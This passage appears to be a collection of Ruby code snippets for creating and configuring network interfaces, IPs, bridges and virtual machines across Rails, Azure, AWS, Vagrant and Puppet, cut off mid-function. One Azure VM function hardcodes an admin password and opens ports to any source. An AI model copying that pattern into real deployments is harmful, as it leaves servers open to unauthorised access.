interfaces=Array.new\n @parser.getInterfaces(node).each do |int|\n interfaces.push Interface.new(@parser.getInterfaceName(int))\n ip, net = @parser.getNetwork(int)\n interfaces.last.ip = ip\n interfaces.last.netmask = net\n end\n return interfaces\n end", "def create\n if resource[:ipsource] == \"static\"\n ip = resource[:ip]\n netmask = resource[:netmask]\n gateway = resource[:gateway]\n end\n if resource[:snmp]\n snmp = resource[:snmp]\n end\n ipsrc = resource[:ipsource]\n if resource[:vlanid]\n vlanid = resource[:vlanid]\n end\n enable_channel\n\n end", "def create(value)\n configure(\"interface #{value}\")\n end", "def create!\n EC2.clone_interface!(instance.eth0, description)\n tag!\n puts \"Created secondary ENI (#{interface.id})\"\n end", "def create\n @ipranedge_interface = IpranedgeInterface.new(ipranedge_interface_params)\n\n respond_to do |format|\n if @ipranedge_interface.save\n format.html { redirect_to @ipranedge_interface, notice: 'Ipranedge interface was successfully created.' }\n format.json { render :show, status: :created, location: @ipranedge_interface }\n else\n format.html { render :new }\n format.json { render json: @ipranedge_interface.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_update(network_interface)\n begin\n OOLog.info(\"Updating NIC '#{network_interface.name}' \")\n start_time = Time.now.to_i\n promise =\n @client.network_interfaces.create_or_update(@rg_name,\n network_interface.name,\n network_interface)\n\n response = promise.value!\n result = response.body\n end_time = Time.now.to_i\n duration = end_time - start_time\n puts(\"operation took #{duration} seconds\")\n return result\n OOLog.info(\"NIC '#{network_interface.name}' was updated in #{duration} seconds\")\n result\n rescue MsRestAzure::AzureOperationError => e\n OOLog.fatal(\"Error creating/updating NIC. Exception: #{e.body}\")\n rescue => ex\n OOLog.fatal(\"Error creating/updating NIC. Exception: #{ex.message}\")\n end\n end", "def configure_interfaces\n node_servers.each do |svinfo|\n gretap_interfaces(svinfo).each do |ifname, ifcfg|\n host_name = svinfo['hostname']\n virtual_addr = virtual_address(ifcfg)\n\n cloudconductor_server_interface \"#{host_name}_#{ifname}\" do\n action :create\n hostname host_name\n if_name ifname\n network ifcfg['network']\n security_groups ifcfg['security_groups']\n virtual_address virtual_addr\n end\n end\n end\nend", "def define_nic_ip_config(ip_type, subnet)\n nic_ip_config_props =\n Azure::ARM::Network::Models::NetworkInterfaceIpConfigurationPropertiesFormat.new\n nic_ip_config_props.private_ipallocation_method =\n Azure::ARM::Network::Models::IpAllocationMethod::Dynamic\n nic_ip_config_props.subnet = subnet\n\n if ip_type == 'public'\n publicip = AzureNetwork::PublicIp.new(@creds, @subscription)\n publicip.location = @location\n # get public ip object\n public_ip_address = publicip.build_public_ip_object(@ci_id)\n # create public ip\n public_ip_if =\n publicip.create_update(@rg_name,\n public_ip_address.name,\n public_ip_address)\n\n # set the public ip on the nic ip config\n nic_ip_config_props.public_ipaddress = public_ip_if\n end\n nic_ip_config =\n Azure::ARM::Network::Models::NetworkInterfaceIpConfiguration.new\n nic_ip_config.name = Utils.get_component_name(\"privateip\",@ci_id)\n nic_ip_config.properties = nic_ip_config_props\n OOLog.info(\"NIC IP name is: #{nic_ip_config.name}\")\n nic_ip_config\n end", "def assign(ip, _external, opts = {})\n instcs = @ec2.describe_instances({ :instance_ids => [@deploy_id] })\n inst = instcs[0][0].instances[0]\n\n # find NIC to which the IP belongs (avoid Ceph network)\n nic_id = nil\n inst.network_interfaces.each do |ec2_nic|\n ec2_subnet = @ec2.describe_subnets(\n { :subnet_ids => [ec2_nic.subnet_id] }\n )[0][0]\n ip_range = IPAddr.new(ec2_subnet.cidr_block)\n\n if ip_range.include?(ip)\n nic_id = ec2_nic.network_interface_id\n end\n end\n\n if nic_id\n @ec2.assign_private_ip_addresses(\n { :network_interface_id => nic_id,\n :private_ip_addresses => [ip] }\n )\n\n @ec2.associate_address(\n { :network_interface_id => nic_id,\n :allocation_id => opts[:alloc_id],\n :private_ip_address => ip }\n )\n else\n OpenNebula.log_error(\"Can not find any interface to assign #{ip}\")\n exit 1\n end\n\n 0\n rescue StandardError => e\n OpenNebula.log_error(\"Error assiging #{ip}:#{e.message}\")\n 1\n end", "def create_router_interface(oSubnet, router_obj)\n PrcLib.state(\"Attaching subnet '%s' to router '%s'\",\n oSubnet[:name], router_obj[:name])\n begin\n controller_create(:router_interface)\n\n #################\n # provider_add_interface()\n # router_obj.add_interface(oSubnet.id, nil)\n rescue => e\n PrcLib.error(\"%s\\n%s\", e.message, e.backtrace.join(\"\\n\"))\n end\n end", "def create\n @ipaddress = Ipaddress.new(ipaddress_params)\n @vmIPjoin_res = @ipobject.addIp(@virtualmachine.RemoteID,params)\n unless @vmIPjoin_res.has_key?(\"errors\")\n respond_to do |format|\n\n format.html { redirect_to virtualmachine_ipaddresses_url, notice: 'Ipaddress was successfully created.' }\n end\n else\n flash.keep[:notice] = \"Errors are #{@vmIPjoin_res[\"errors\"]}\"\n redirect_to action: :new\n end\n end", "def interface_add(network_interfaces, node_uid, interfaces)\n num1 = node_uid.split('-')[1].to_i\n if network_interfaces.has_value?(interfaces) == false\n network_interfaces[[num1]] = interfaces\n else\n num2 = network_interfaces.key(interfaces)\n network_interfaces.delete(num2)\n network_interfaces[num2.push(num1)] = interfaces\n end\n end", "def define_network_interface(nic_ip_config)\n network_interface_props =\n Azure::ARM::Network::Models::NetworkInterfacePropertiesFormat.new\n network_interface_props.ip_configurations = [nic_ip_config]\n\n network_interface = Azure::ARM::Network::Models::NetworkInterface.new\n network_interface.location = @location\n network_interface.name = Utils.get_component_name(\"nic\",@ci_id)\n network_interface.properties = network_interface_props\n\n OOLog.info(\"Network Interface name is: #{network_interface.name}\")\n network_interface\n end", "def create_host_only_network(options)\n # Create the interface\n execute_prlsrvctl('net', 'add', options[:network_id], '--type', 'host-only')\n\n # Configure it\n args = ['--ip', \"#{options[:adapter_ip]}/#{options[:netmask]}\"]\n if options[:dhcp]\n args.concat(['--dhcp-ip', options[:dhcp][:ip],\n '--ip-scope-start', options[:dhcp][:lower],\n '--ip-scope-end', options[:dhcp][:upper]])\n end\n\n execute_prlsrvctl('net', 'set', options[:network_id], *args)\n\n # Return the details\n {\n name: options[:network_id],\n ip: options[:adapter_ip],\n netmask: options[:netmask],\n dhcp: options[:dhcp]\n }\n end", "def configure_instance(node, i)\n node.vm.hostname = fqdn(i)\n network_ports node, i\nend", "def create(vm_id, options = {})\n response = request(:post, \"/virtual_machines/#{vm_id}/network_interfaces.json\", default_params(options))\n response['virtual_machine']\n end", "def update_network_interfaces(name, address)\n default_nm = '255.255.255.0'\n (parts = address.split('.')).last.replace('1')\n default_gw = parts.join('.')\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'interfaces'), 'w') do |file|\n file.puts \"auto lo eth0\"\n file.puts \"iface lo inet loopback\"\n file.puts \"iface eth0 inet static\"\n file.puts \" address #{address}\"\n file.puts \" gateway #{conf['gateway'] || default_gw}\"\n file.puts \" netmask #{conf['netmask'] || default_nm}\"\n file.puts \" dns-nameservers #{Array(conf['nameserver'] || default_gw).join(' ')}\"\n end\n File.open(pinger = File.join(KVM_MOUNT_POINT, name, 'etc', 'network', 'if-up.d', '001base-pinger'), 'w') do |file|\n file.puts \"#!/bin/sh\"\n file.puts \"/bin/ping -c 1 #{local_ip_address} > /dev/null\"\n end\n File.chmod(0755, pinger)\n File.open(File.join(KVM_MOUNT_POINT, name, 'etc', 'cron.d', 'base-pinger'), 'w') do |file|\n file.puts \"* * * * * root /bin/ping -c 1 #{local_ip_address} > /dev/null\"\n file.puts \"\"\n end\n hosts = File.readlines(hosts_path = File.join(KVM_MOUNT_POINT, name, 'etc', 'hosts'))\n File.open(hosts_path, 'w') do |file|\n file.write hosts.join(\"\\n\")\n file.puts \"127.0.0.1 #{name}\"\n end\nend", "def enable_nat(bridge, ui)\n\tbridge_name \t= get_interface_name(bridge)\n\treturn if execute(true, \"ifconfig #{bridge_name} | grep inet\") == 0\n\n\tdirectory\t= @data_dir\n\t# Choose a subnet for this bridge\n\tindex = bridge_name =~ /\\d/\n\tbridge_num = bridge_name[index..-1]\n\tsub_net = \"172.16.\" + bridge_num\n\n\t# Config IP for the bridge\n\texecute(false, \"#{@sudo} ifconfig #{bridge_name} #{sub_net}.1/24\")\n\n\t# Get default gateway\n\tgateway = execute(false, \"netstat -4rn | grep default | awk '{print $4}'\")\n\tstore_attr('gateway', gateway)\n\t# Add gateway as a bridge member\n\t#execute(false, \"#{@sudo} ifconfig #{bridge_name} addm #{gateway}\")\n\n\t# Enable forwarding\n\texecute(false, \"#{@sudo} sysctl net.inet.ip.forwarding=1 >/dev/null 2>&1\")\n\texecute(false, \"#{@sudo} sysctl net.inet6.ip6.forwarding=1 >/dev/null 2>&1\")\n\n\t# Change pf's configuration\n\tpf_conf = directory.join(\"pf.conf\")\n\tpf_conf.open(\"w\") do |pf_file|\n\t pf_file.puts \"set skip on #{bridge_name}\"\n\t pf_file.puts \"nat on #{gateway} from {#{sub_net}.0/24} to any -> (#{gateway})\"\n\tend\n\tpf_bridge_conf = \"/usr/local/etc/pf.#{bridge_name}.conf\"\n\tcomment_mark = \"# vagrant-bhyve #{bridge_name}\"\n\texecute(false, \"#{@sudo} mv #{pf_conf.to_s} #{pf_bridge_conf}\")\n\tif execute(true, \"test -s /etc/pf.conf\") == 0\n\t if execute(true, \"grep \\\"#{comment_mark}\\\" /etc/pf.conf\") != 0\n\t execute(false, \"#{@sudo} sed -i '' '1i\\\\\\n#{comment_mark}\\n' /etc/pf.conf\")\n\t execute(false, \"#{@sudo} sed -i '' '2i\\\\\\ninclude \\\"#{pf_bridge_conf}\\\"\\n' /etc/pf.conf\")\n\t end\n\telse\n\t execute(false, \"echo \\\"#{comment_mark}\\\" | #{@sudo} tee -a /etc/pf.conf\")\n\t execute(false, \"echo \\\"include \\\\\\\"#{pf_bridge_conf}\\\\\\\"\\\" | #{@sudo} tee -a /etc/pf.conf\")\n\tend\n\trestart_service('pf')\n\t# Use pfctl to enable pf rules\n\t#execute(false, \"#{@sudo} cp #{pf_conf.to_s} /usr/local/etc/pf.#{bridge_name}.conf\")\n\t#execute(false, \"#{@sudo} pfctl -a '/vagrant_#{bridge_name}' -f /usr/local/etc/pf.#{bridge_name}.conf\")\n\t# execute(false, \"#{@sudo} pfctl -a '/vagrant_#{bridge_name}' -sr\")\n\n\t# Create a basic dnsmasq setting\n\t# Basic settings\n\tcheck_and_install('dnsmasq', 'dnsmasq', ui)\n\tdnsmasq_conf = directory.join(\"dnsmasq.conf\")\n\tdnsmasq_conf.open(\"w\") do |dnsmasq_file|\n\t dnsmasq_file.puts <<-EOF\n\t domain-needed\n\t except-interface=lo0\n\t bind-interfaces\n\t local-service\n\t dhcp-authoritative\n\t EOF\n\t # DHCP part\n\t dnsmasq_file.puts \"interface=#{bridge_name}\"\n\t dnsmasq_file.puts \"dhcp-range=#{sub_net + \".10,\" + sub_net + \".254\"}\"\n\t dnsmasq_file.puts \"dhcp-option=option:dns-server,#{sub_net + \".1\"}\"\n\tend\n\texecute(false, \"#{@sudo} cp #{dnsmasq_conf.to_s} /usr/local/etc/dnsmasq.#{bridge_name}.conf\")\n\tdnsmasq_cmd = \"dnsmasq -C /usr/local/etc/dnsmasq.#{bridge_name}.conf -l /var/run/dnsmasq.#{bridge_name}.leases -x /var/run/dnsmasq.#{bridge_name}.pid\"\n\texecute(false, \"#{@sudo} #{dnsmasq_cmd}\")\n\n end", "def create(config)\n PlatformOps::Utils.validated_config config, %i(ami_id ssh_user)\n\n @ami_id = config[:ami_id]\n @ssh_user = config[:ssh_user]\n @ingress_cidrs = combine_ingress_addresses(config[:ingress_ip], config[:ingress_cidrs])\n @ssh_public_key_path = config[:ssh_public_key] || '~/.ssh/id_rsa.pub'\n @ssh_private_key_path = config[:ssh_private_key] || '~/.ssh/id_rsa'\n @ssh_poll_private_ip = config[:ssh_poll_private_ip]\n @security_group_connections = config[:security_group_connections] || []\n @eip_allocation_id = config[:eip_allocation_id]\n @instance_type = config[:instance_type] || 't2.medium'\n @cidr = config[:cidr]\n\n begin\n route_table_id = create_route_table\n subnet_id = create_subnet(route_table_id, @cidr)\n security_group_id = create_security_group(security_group_connections)\n instance_id = create_instance(subnet_id, security_group_id)\n instance = wait_for_instance(instance_id)\n associate_eip(instance_id) if @eip_allocation_id\n instance\n rescue Interrupt, StandardError => e\n logger.error e\n\n destroy\n\n raise\n end\n end", "def add\n unless name.nil?\n raise \"Virtual network already added to VirtualBox\"\n end\n \n # Create the network and pull its name.\n output = VirtualBox.run_command! ['VBoxManage', '--nologo', 'hostonlyif',\n 'create']\n unless match = /^interface\\s+'(.*)'\\s+.*created/i.match(output)\n raise \"VirtualBox output does not include interface name\"\n end\n @name = match[1]\n \n # Query VirtualBox to pull the rest of the information.\n network = self.class.named name\n @vbox_name = network.vbox_name\n @mac = network.mac\n \n if (ip && ip != network.ip) || (netmask && netmask != network.netmask)\n VirtualBox.run_command! ['VBoxManage', '--nologo', 'hostonlyif',\n 'ipconfig', name, '--ip', ip, '--netmask', netmask]\n else\n self.ip = network.ip\n self.netmask = network.netmask\n end\n \n # Register the DHCP server, if it's connected.\n dhcp.add self if dhcp\n \n self\n end", "def create_network_switch(options)\n load_path = Pathname.new(File.expand_path(\"../scripts\", __FILE__))\n script_path = load_path.join('create_switch.ps1')\n execute(script_path, options)\n end", "def aws_internet_gateway_create(opts)\n opts[:vpc].internet_gateway = AWS::EC2.new.internet_gateways.create\n end", "def create_vm(vm_name, storage_acct, subnet, public_ip)\n location = WEST_EU\n\n puts \"Creating security group...\"\n params_nsg = NetworkModels::NetworkSecurityGroup.new.tap do |sg|\n sr = NetworkModels::SecurityRule.new.tap do |rule|\n rule.name = 'main'\n rule.description = 'default rule'\n rule.protocol = '*'\n rule.source_address_prefix = '*'\n rule.destination_address_prefix = '*'\n rule.source_port_range = '*'\n rule.access = 'Allow'\n rule.priority = 100\n rule.direction = 'Inbound'\n rule.destination_port_ranges = ['22','80', '443', '50051']\n end\n\n sg.location = WEST_EU\n sg.security_rules = [ sr ]\n end\n nsg = @network_client.network_security_groups.create_or_update(GROUP_NAME,'coffe-grpc_rules', params_nsg)\n\n puts \"Creating a network interface for the VM #{vm_name}\"\n print_item nic = @network_client.network_interfaces.create_or_update(\n GROUP_NAME,\n \"nic-#{vm_name}\",\n NetworkModels::NetworkInterface.new.tap do |interface|\n interface.location = WEST_EU\n interface.network_security_group = nsg\n interface.ip_configurations = [\n NetworkModels::NetworkInterfaceIPConfiguration.new.tap do |nic_conf|\n nic_conf.name = \"nic-#{vm_name}\"\n nic_conf.private_ipallocation_method = NetworkModels::IPAllocationMethod::Dynamic\n nic_conf.subnet = subnet\n nic_conf.public_ipaddress = public_ip\n end\n ]\n end\n )\n\n puts 'Creating a Ubuntu 16.04.0-LTS Standard DS2 V2 virtual machine w/ a public IP'\n vm_create_params = ComputeModels::VirtualMachine.new.tap do |vm|\n vm.location = location\n vm.os_profile = ComputeModels::OSProfile.new.tap do |os_profile|\n os_profile.computer_name = vm_name\n os_profile.admin_username = @conf[:user]\n os_profile.admin_password = 'Asd1234554321'\n end\n\n vm.storage_profile = ComputeModels::StorageProfile.new.tap do |store_profile|\n store_profile.image_reference = ComputeModels::ImageReference.new.tap do |ref|\n ref.publisher = 'canonical'\n ref.offer = 'UbuntuServer'\n ref.sku = '16.04.0-LTS'\n ref.version = 'latest'\n end\n store_profile.os_disk = ComputeModels::OSDisk.new.tap do |os_disk|\n os_disk.name = \"os-disk-#{vm_name}\"\n os_disk.caching = ComputeModels::CachingTypes::None\n os_disk.create_option = ComputeModels::DiskCreateOptionTypes::FromImage\n os_disk.vhd = ComputeModels::VirtualHardDisk.new.tap do |vhd|\n vhd.uri = \"https://#{storage_acct.name}.blob.core.windows.net/rubycontainer/#{vm_name}.vhd\"\n end\n end\n end\n\n vm.hardware_profile = ComputeModels::HardwareProfile.new.tap do |hardware|\n hardware.vm_size = ComputeModels::VirtualMachineSizeTypes::StandardDS2V2\n end\n\n vm.network_profile = ComputeModels::NetworkProfile.new.tap do |net_profile|\n net_profile.network_interfaces = [\n ComputeModels::NetworkInterfaceReference.new.tap do |ref|\n ref.id = nic.id\n ref.primary = true\n end\n ]\n end\n end\n\n vm_create_params.os_profile.linux_configuration = ComputeModels::LinuxConfiguration.new.tap do |linux|\n linux.disable_password_authentication = false\n linux.ssh = ComputeModels::SshConfiguration.new.tap do |ssh_config|\n keys = []\n @conf[:access].each do |key|\n k = ComputeModels::SshPublicKey.new.tap do |pub_key|\n pub_key.key_data = key\n pub_key.path = '/home/user_admin/.ssh/authorized_keys'\n end\n keys << k\n end\n ssh_config.public_keys = keys\n end\n end\n\n print_item vm = @compute_client.virtual_machines.create_or_update(GROUP_NAME, vm_name, vm_create_params)\n vm\nend", "def create\n @interface = SHDM::Interface.create(params[:interface])\n \n respond_to do |format|\n if @interface.save\n flash[:notice] = 'Interface was successfully created.'\n format.html { redirect_to :action => 'edit', :id => @interface }\n format.xml { render :xml => @interface, :status => :created, :location => @interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interface.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create!\n Subnet.reserve(@subnet)\n super\n Address.mkdir(@id)\n PoolNode.mkdir(@id)\n create_address(gateway)\n end", "def create_os_interface(server_id, attributes)\n api.compute.create_interface(\n server_id, interfaceAttachment: attributes\n ).data\n end", "def aws_instance_create_route_to_nat(instance)\n log \"AWS: creating Route for Subnet '#{self.subnet.driver_id}' to NAT Instance '#{self.driver_id}'\"\n self.scenario.subnets.select { |s| s.driver_id and !s.internet_accessible }.each do |subnet|\n aws_call('aws_subnet_route_table_route_to_nat_create', subnet_id: subnet.driver_id, instance_id: instance.id)\n end\n end", "def create\n @ip = Ip.new(ip_params)\n\n respond_to do |format|\n if @ip.save\n format.html { redirect_to @ip, notice: 'Ip was successfully created.' }\n format.json { render json: @ip, status: :created, location: @ip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ip.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_nic(p_mac_addr, p_port_name, p_net_type)\n unless p_net_type == 'lan' or p_net_type == 'san' then\n raise Exception.new(\"Invalid network type: #{p_net_type}\")\n end\n aNic = Nic.create({:mac_address => p_mac_addr, \n :port_name => p_port_name, \n :network_type =>p_net_type })\n self.nics << aNic\n end", "def build_interface\n\t\t\t\t\t{\n\t\t\t\t\t\t\"interfaces_attributes\"\t\t=>\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\"new_interfaces\"\t\t=>\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\"_destroy\"=>\"false\",\n\t\t\t\t\t\t\t\t\"type\"=>\"Nic::Managed\",\n\t\t\t\t\t\t\t\t\"mac\"=>\"\",\n\t\t\t\t\t\t\t\t\"identifier\"=>\"\",\n\t\t\t\t\t\t\t\t\"name\"=>\"\",\n\t\t\t\t\t\t\t\t\"domain_id\"=>\"\",\n\t\t\t\t\t\t\t\t\"subnet_id\"=>\"\",\n\t\t\t\t\t\t\t\t\"ip\"=>\"\",\n\t\t\t\t\t\t\t\t\"managed\"=>\"1\",\n\t\t\t\t\t\t\t\t\"virtual\"=>\"0\",\n\t\t\t\t\t\t\t\t\"tag\"=>\"\",\n\t\t\t\t\t\t\t\t\"attached_to\"=> self.username\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n return {}\n\t\t\t\tend", "def create\n @interface = Interface.new(params[:interface])\n\n respond_to do |format|\n if @interface.save\n format.html { redirect_to(@interface, :notice => 'Interface was successfully created.') }\n format.xml { render :xml => @interface, :status => :created, :location => @interface }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @interface.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @interface = Interface.new(params[:interface])\n\n respond_to do |format|\n if @interface.save\n format.html { redirect_to @interface, :notice => 'Interface was successfully created.' }\n format.json { render :json => @interface, :status => :created, :location => @interface }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @interface.errors, :status => :unprocessable_entity }\n end\n end\n end", "def config_iptables_for_weavenet(config)\n\n config.vm.provision \"shell\", inline: <<-SHELL\n ip route add 10.96.0.0/12 dev eth1\n bash -c \"echo '10.96.0.0/12 dev eth' >> /etc/sysconfig/network-scripts/route-eth1\"\n SHELL\n\nend", "def delete(name)\n configure([\"interface #{name}\", 'no ip address', 'switchport'])\n end", "def create\n @interface = Interface.new(params[:interface])\n\n respond_to do |format|\n if @interface.save\n format.html { redirect_to root_url, notice: '保存成功.' }\n format.json { render json: @interface, status: :created, location: @interface }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interface.errors, status: :unprocessable_entity }\n end\n end\n end", "def configure_networking(\n machine,\n instance_profile,\n provider = 'virtualbox'\n)\n\n instance_networking = lookup_values_yaml(instance_profile, ['providers', provider, 'instance', 'networking'])\n\n return false unless instance_networking\n\n name = replace_characters_string(lookup_values_yaml(instance_profile, ['name']))\n\n configure_interfaces(machine, name, instance_networking)\n\n configure_forwarded_ports(machine, name, instance_networking)\n\nend", "def create\n @ip = AllowedIpAddress.new(params[:ip])\n\n respond_to do |format|\n if @ip.save\n flash[:notice] = 'Allowed IP Address was successfully created.'\n format.html { redirect_to allowed_ip_address_path(@ip) }\n format.xml { head :created, :location => allowed_ip_address_path(@ip) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ip.errors.to_xml }\n end\n end\n end", "def add_netif(opts)\n\n end", "def add_netif(opts)\n\n end", "def add_netif(opts)\n\n end", "def handle_hostip(bridge_name, hostip)\n bridge_resource = Wire::Resource::ResourceFactory.instance.create(:ovsbridge, bridge_name)\n if bridge_resource.down?\n outputs 'DOWN', \"Bridge #{bridge_name} already down, will not care about ip\", :ok2\n return true\n end\n\n # we should have a bridge with that name.\n hostip_resource = Wire::Resource::ResourceFactory\n .instance.create(:bridgeip, hostip, bridge_name)\n default_handle_resource(hostip_resource, :hostip,\n \"IP \\'#{hostip}\\' on bridge \\'#{bridge_name}\\'\", :down)\n rescue => e\n $log.error \"processing host ip: #{e}\"\n end", "def create_port_group\n Puppet.debug \"Entering Create Port Group method.\"\n @networksystem=host.configManager.networkSystem\n if (find_vswitch == false)\n raise Puppet::Error, \"Unable to find the vSwitch \" + resource[:vswitch]\n end\n hostnetworkpolicy = RbVmomi::VIM.HostNetworkPolicy()\n hostportgroupspec = RbVmomi::VIM.HostPortGroupSpec(:name => resource[:portgrp], :policy => hostnetworkpolicy, :vlanId => resource[:vlanid], :vswitchName => resource[:vswitch])\n @networksystem.AddPortGroup(:portgrp => hostportgroupspec)\n\n if (resource[:traffic_shaping_policy] !=nil )\n traffic_shaping\n end\n if (resource[:failback] !=nil )\n set_failback\n end\n if (resource[:overridefailoverorder] !=nil )\n setoverridepolicy\n end\n if (resource[:checkbeacon]!= nil)\n set_checkbeacon\n end\n if (resource[:portgrouptype] == :VMkernel)\n Puppet.debug \"Entering type VMkernel\"\n add_virtual_nic\n\n if (resource[:vmotion] !=nil )\n setupvmotion\n end\n\n if (resource[:mtu] !=nil )\n setupmtu\n end\n end\n Puppet.notice \"Successfully created a portgroup {\" + resource[:portgrp] + \"}\"\n end", "def add(private_ip=nil, interface='eth0')\n\n\t\t\t# use AWS api to add a private ip address to the given interface.\n\t\t\t# if unspecified, let AWS auto-assign the ip.\n\n\t\t\t# add the new ip to the local config with `ip addr add ...` and use\n\t\t\t# `ip rule ...` or `ip route ...` if necessary\n\n\t\t\t# throw named exception if the private ip limit is reached, if the ip\n\t\t\t# specified is already in use, or for any similar error\n\n\t\t\t# return the new ip\n\t\tend", "def action_create\n notifying_block do\n create_network\n configure_nat\n configure_dhcpd\n create_template_zone\n end\n end", "def config_network(instance, vm_config)\n\n vm_config[\"networks\"].each do |network, config|\n if config[\"type\"] == \"private\" then\n if config[\"ip\"] then\n instance.vm.network :private_network, ip: config[\"ip\"]\n end\n elsif config[\"type\"] == \"public\" then\n instance.vm.network :public_network\n end\n end if vm_config[\"networks\"]\n\n vm_config[\"ports\"].each do |port, config|\n\n raise \"At least the guest port is needed in 'guest_port' variable\" \\\n if config[\"guest_port\"].nil?\n\n instance.vm.network \"forwarded_port\",\n guest: config[\"guest_port\"],\n host: config[\"host_port\"] || config[\"guest_port\"],\n protocol: config[\"protocol\"] || \"tcp\",\n auto_correct: config[\"auto_correct\"] || true\n end if vm_config[\"ports\"]\n\nend", "def create\n @ipranaccess_interface = IpranaccessInterface.new(ipranaccess_interface_params)\n\n respond_to do |format|\n if @ipranaccess_interface.save\n format.html { redirect_to @ipranaccess_interface, notice: 'Ipranaccess interface was successfully created.' }\n format.json { render :show, status: :created, location: @ipranaccess_interface }\n else\n format.html { render :new }\n format.json { render json: @ipranaccess_interface.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_router_interface(router, subnet)\n data = { 'subnet_id' => subnet } \n return put_request(address(\"routers/\"+router+\"/add_router_interface\"), data, @token)\n end", "def delete(name)\n configure [\"interface #{name}\", 'no switchport']\n end", "def add_netif(netifs, netif)\n end", "def create\n @switch_port = SwitchPort.new(switch_port_params)\n\n respond_to do |format|\n if @switch_port.save\n format.html { redirect_to @switch_port, notice: 'Switch port was successfully created.' }\n format.json { render :show, status: :created, location: @switch_port }\n else\n format.html { render :new }\n format.json { render json: @switch_port.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @face_ips = FaceIp.factory(face_ip_params)\n\n if @face_ips\n render :show, status: :created\n else\n render json: @face_ip.errors, status: :unprocessable_entity\n end\n end", "def newInterface\n @interface = Interface.new\n\t\t@interface.host_id = params[:host_id]\n\t\trender :action => 'new'\n end", "def create\n @card_ips = CardIp.factory(card_ip_params)\n\n if @card_ips.save\n render :show, status: :created\n else\n render json: @card_ip.errors, status: :unprocessable_entity\n end\n end", "def create_nic(options)\n Nic.create(options.merge(:server_id => self.id))\n end", "def ipsettings=(value)\n Puppet.debug \"Updating ip configuration of specified port group\"\n begin\n @networksystem=host.configManager.networkSystem\n vnics=@networksystem.networkInfo.vnic\n vnicdevice = nil\n\n vnics.each do |vnic|\n if (vnic.portgroup && resource[:portgrp] == vnic.portgroup)\n vnicdevice=vnic.device\n if (resource[:ipsettings] == :static)\n if (resource[:ipaddress] == nil || resource[:subnetmask] == nil)\n raise Puppet::Error, \"ipaddress and subnetmask are required in case of static IP configuration.\"\n elsif( resource[:ipaddress].length == 0 || resource[:subnetmask].length == 0)\n raise Puppet::Error, \"ipaddress and subnetmask are required in case of static IP configuration.\"\n end\n ipconfiguration=RbVmomi::VIM.HostIpConfig(:dhcp => 0, :ipAddress => resource[:ipaddress], :subnetMask => resource[:subnetmask])\n elsif (resource[:ipsettings] == :dhcp)\n ipconfiguration = RbVmomi::VIM.HostIpConfig(:dhcp => 1)\n end\n hostvirtualnicspec = RbVmomi::VIM.HostVirtualNicSpec(:ip => ipconfiguration)\n if (vnicdevice != nil)\n actualnicspec = vnic.spec\n if (actualnicspec!= nil )\n actualnicspec.ip = ipconfiguration\n else\n actualnicspec = hostvirtualnicspec\n end\n @networksystem.UpdateVirtualNic(:device => vnicdevice, :nic => actualnicspec)\n end\n end\n end\n return \"true\"\n rescue Exception => e\n # Not failing here as this happens when we configure the management network\n Puppet.err \"Unable to configure the IP settings on a port group because the following exception occurred: -\\n #{e.message}\"\n end\n end", "def create\n @connection = Connection.new(connection_params)\n @connection.origin_interface = @interface\n\n respond_to do |format|\n if @connection.save\n format.html { redirect_to device_interfaces_url(@interface.device), notice: 'Connection was successfully created.' }\n format.json { render :show, status: :created, location: @connection }\n else\n format.html { render :new }\n format.json { render json: @connection.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @fixed_ip = FixedIp.new(params[:fixed_ip])\n\n respond_to do |format|\n if @fixed_ip.save\n format.html { redirect_to @fixed_ip, notice: 'Fixed ip was successfully created.' }\n format.json { render json: @fixed_ip, status: :created, location: @fixed_ip }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fixed_ip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_vm(vms, vm_type, config)\n vms.each do | vm |\n hostname = vm.get_hostname\n \n # cpu & memory\n cpu = vm.get_cpu\n memory = vm.get_memory\n \n # nat port\n ssh_nat_port = vm.get_ssh_nat_port\n http_nat_port = vm.get_http_nat_port\n novnc_nat_port = vm.get_novnc_nat_port \n \n # list of interfaces\n interfaces = vm.get_interfaces\n bridged_interface = vm.get_bridged_interface\n \n # box info\n box_name = vm.box.name\n box_user = vm.box.user\n box_pass = vm.box.pass\n \n switch_type = vm.switch_type\n switch_ver = vm.switch_ver \n \n # IMPORTANT: use your own link_prefix to avoid duplication error with other vagrant instances\n link_prefix=File.basename(Dir.getwd)\n \n interface_count = interfaces.length\n if bridged_interface != \"\"\n interface_count += 1\n end\n \n config.vm.define \"#{hostname}\" do |cfg|\n cfg.vm.box = box_name\n cfg.vm.boot_timeout = 90\n \n cfg.ssh.username = box_user\n cfg.ssh.password = box_pass\n \n for i in interfaces\n cfg.vm.network \"private_network\", auto_config: false, virtualbox__intnet: \"#{link_prefix}_switch_interface_#{i}\" \n end\n \n # bridged interface to have external network connectivity\n if bridged_interface != \"\"\n cfg.vm.network \"public_network\", auto_config: false, bridge: \"#{bridged_interface}\"\n end\n \n #if switch_type != \"\"\n # cfg.vm.provision :shell, :path => \"../common/install_#{switch_type}_#{switch_ver}.sh\"\n #end\n \n if File.exist?(\"init_node_#{hostname}.sh\")\n cfg.vm.provision :shell, :path => \"init_node_#{hostname}.sh\"\n end\n \n cfg.vm.provider \"virtualbox\" do |v|\n v.cpus = cpu\n v.memory = memory\n v.customize [\"modifyvm\", :id, \"--hpet\", \"on\"]\n \n # 스위칭에 이용하는 인터페이스에 대해서 promiscuous mode를 allow vms로 설정해줌\n for i in 2..(interface_count + 1)\n v.customize [\"modifyvm\", :id, 